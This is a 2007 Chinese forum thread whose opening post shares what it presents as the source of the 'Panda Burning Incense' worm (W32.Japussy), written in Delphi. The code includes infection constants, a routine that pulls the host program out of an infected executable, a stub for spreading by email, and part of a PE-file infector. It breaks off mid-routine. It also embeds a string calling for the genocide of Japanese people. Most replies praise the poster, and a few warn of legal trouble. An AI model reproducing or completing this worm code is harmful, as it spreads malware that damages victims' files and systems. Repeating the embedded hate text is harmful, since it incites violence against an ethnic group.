"熊猫烧香”源代码 点击:1161 | 回复:11



EDPF

    
  • 精华:0帖
  • 求助:0帖
  • 帖子:4帖 | 28回
  • 年度积分:0
  • 历史总积分:71
  • 注册:2006年10月04日
发表于:2007-02-20 13:13:00
楼主
前段时间“熊猫烧香”四处肆虐,现将其源代码发上来,供各位兄弟们参考,也许能给大家帮上一点小忙,呵呵。
PS:给大家拜年了!祝大家新年快乐,万事如意,身体健康,工作顺利!

熊猫烧香核心源码
program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量


//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量


{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量


//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记


//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato. ' +

'If a country need to be destroyed, it must be Japan! ' +

'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32.dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMem



亦云人云

  • 精华:5帖
  • 求助:0帖
  • 帖子:102帖 | 2351回
  • 年度积分:0
  • 历史总积分:3114
  • 注册:2004年11月10日
发表于:2007-02-20 13:48:00
1楼
请君自律,当心坐牢!!!

爱在天涯

  • 精华:0帖
  • 求助:0帖
  • 帖子:0帖 | 17回
  • 年度积分:0
  • 历史总积分:260
  • 注册:2005年4月25日
发表于:2007-02-20 14:07:00
2楼
高手,本人最佩服有本事得人了。

芯片级维修

  • 精华:23帖
  • 求助:0帖
  • 帖子:102帖 | 1797回
  • 年度积分:3
  • 历史总积分:7330
  • 注册:2006年6月18日
发表于:2007-02-20 16:58:00
3楼
小心中国驻日本领事馆找你麻烦。
现在已经有人注意你了。

wjml

  • 精华:1帖
  • 求助:0帖
  • 帖子:44帖 | 398回
  • 年度积分:0
  • 历史总积分:838
  • 注册:2006年11月25日
发表于:2007-02-21 22:55:00
4楼
  佩服!同意二楼的.

我行我SHOW

  • 精华:0帖
  • 求助:0帖
  • 帖子:1帖 | 4回
  • 年度积分:0
  • 历史总积分:9
  • 注册:2007年2月21日
发表于:2007-02-22 01:17:00
5楼
厉害
有朝一日我有这能耐也整一出来玩玩,嘿嘿
何年马月~~~~~~~

funstar

  • 精华:0帖
  • 求助:0帖
  • 帖子:0帖 | 10回
  • 年度积分:0
  • 历史总积分:10
  • 注册:2006年7月13日
发表于:2007-02-22 18:19:00
6楼
 http://chinaipc.net说的最明确了

共创美好

  • 精华:1帖
  • 求助:0帖
  • 帖子:70帖 | 1644回
  • 年度积分:0
  • 历史总积分:1957
  • 注册:2006年6月23日
发表于:2007-02-22 18:39:00
7楼
都是牛人

梦想在飞

  • 精华:0帖
  • 求助:0帖
  • 帖子:1帖 | 3回
  • 年度积分:0
  • 历史总积分:6
  • 注册:2007年2月22日
发表于:2007-02-22 19:23:00
8楼
太牛了吧!搂主难道是...?

梦想在飞

  • 精华:0帖
  • 求助:0帖
  • 帖子:1帖 | 3回
  • 年度积分:0
  • 历史总积分:6
  • 注册:2007年2月22日
发表于:2007-02-22 19:26:00
9楼
...

老星土

  • 精华:0帖
  • 求助:0帖
  • 帖子:6帖 | 85回
  • 年度积分:0
  • 历史总积分:110
  • 注册:2006年5月04日
发表于:2007-02-23 22:44:00
10楼
!垃圾

big big boy

  • [版主]
  • 精华:5帖
  • 求助:21帖
  • 帖子:728帖 | 5626回
  • 年度积分:78
  • 历史总积分:82244
  • 注册:2004年5月28日
发表于:2007-03-12 11:13:00
11楼
我靠!楼主!你还真强啊!!!!!!!!!!!!!!!!!!

热门招聘
相关主题

官方公众号

智造工程师